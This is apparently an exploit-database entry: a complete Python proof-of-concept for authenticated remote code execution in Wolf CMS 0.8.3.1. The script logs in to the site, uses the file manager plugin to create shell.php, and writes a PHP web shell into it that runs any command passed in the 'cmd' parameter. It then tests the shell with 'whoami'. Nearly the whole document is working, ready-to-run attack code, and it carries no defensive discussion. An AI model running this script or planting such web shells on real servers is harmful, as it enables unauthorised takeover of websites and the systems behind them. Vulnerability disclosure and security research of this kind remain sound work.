Wolf CMS 0.8.3.1 - RCE v

# Exploit Title: Wolf CMS  0.8.3.1 - RCE
# Date: 02-08-2026
# Exploit Author: Balachandar Gowrisankar
# Software Link: https://github.com/wolfcms/wolfcms
# Version: <= 0.8.3.1
# Tested on: Kali GNU/Linux Rolling, Wolf CMS 0.8.3.1, Apache 2.4.68, Python 3.13.14
# CVE: CVE-2026-67206
# CVSS v3 Score: 8.8

# Note: Wolf CMS GitHub repository has been archived as of Aug 28, 2021 and no patches have been rolled out at the time of writing

# Usage: python exploit.py <base_url> -u <username> -p <password>
# Example Usage: python exploit.py http://127.0.0.1:8080/ -u admin -p admin

import requests
import argparse
from bs4 import BeautifulSoup

class WolfCMS:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()

    def login(self, username, password):
        data = {
            "login[username]": username,
            "login[password]": password,
            "login[redirect]": ""
        }

        r = self.session.post(
            f"{self.base_url}/?/admin/login/login",
            data=data,
            allow_redirects=True
        )

        if r.url  == self.base_url + "/?/admin/":
            print("[+] Login successful")
        else:
            print("[-] Login unsuccessful. Check username, password and base URL")
            exit()

    def get_csrf_token(self, api, action):

        response = self.get(api)

        soup = BeautifulSoup(response.text, "html.parser")

        create_form = soup.find(
            "form",
            action=lambda x: x and x.endswith(action)
        )

        csrf_token = create_form.find(
            "input",
            {"name": "csrf_token"}
        )["value"]

        return csrf_token

    def create_file(self):

        csrf_token = self.get_csrf_token("/?/admin/plugin/file_manager", "/?/admin/plugin/file_manager/create_file")

        data = {
            "csrf_token": csrf_token,
            "file[path]": "/",
            "file[name]": "shell.php",
            "commit": "Create"
        }

        r = self.session.post(
            f"{self.base_url}/?/admin/plugin/file_manager/create_file",
            data=data,
            allow_redirects=True
        )

        if "shell.php" in r.text:
            print("[+] File creation successful")
        else:
            print("[-] File creation unsuccessful. Exiting.")
            exit()

    def write_shell(self):

        csrf_token = self.get_csrf_token("/?/admin/plugin/file_manager/view/shell.php", "/?/admin/plugin/file_manager/save")

        data = {
            "file[filter]": "",
            "file[name]": "shell.php",
            "csrf_token": csrf_token,
            "file[content]": "<?php system($_GET['cmd']);?>",
            "commit": "Save"
        }

        r = self.session.post(
            f"{self.base_url}/?/admin/plugin/file_manager/save",
            data=data,
            allow_redirects=True
        )

        print("[+] Payload written successfully!")
        print("[+] Web shell can be accessed with 'cmd' query string at " + self.base_url + "/public/shell.php")
        print("[+] Testing output of " + self.base_url + "/public/shell.php?cmd=whoami")
        print(self.get("/public/shell.php?cmd=whoami").text)

    def get(self, path):
        return self.session.get(f"{self.base_url}{path}")

def main():

    parser = argparse.ArgumentParser(description="Wolf CMS RCE PoC Exploit")

    parser.add_argument("base_url", help="Base URL of Wolf CMS. Eg: http://127.0.0.1/wolfcms/")
    parser.add_argument("-u", "--username", type=str, default="admin", help="Login username")
    parser.add_argument("-p", "--password", type=str, default="admin", help="Login password")

    args = parser.parse_args()

    cms = WolfCMS(args.base_url)

    print("[*] Logging in with provided credentials...")
    cms.login(args.username, args.password)

    print("\n[*] Creating a file named shell.php...")
    cms.create_file()

    print("\n[*] Attempting to write payload to shell.php...")
    cms.write_shell()

if __name__ == "__main__":
    main()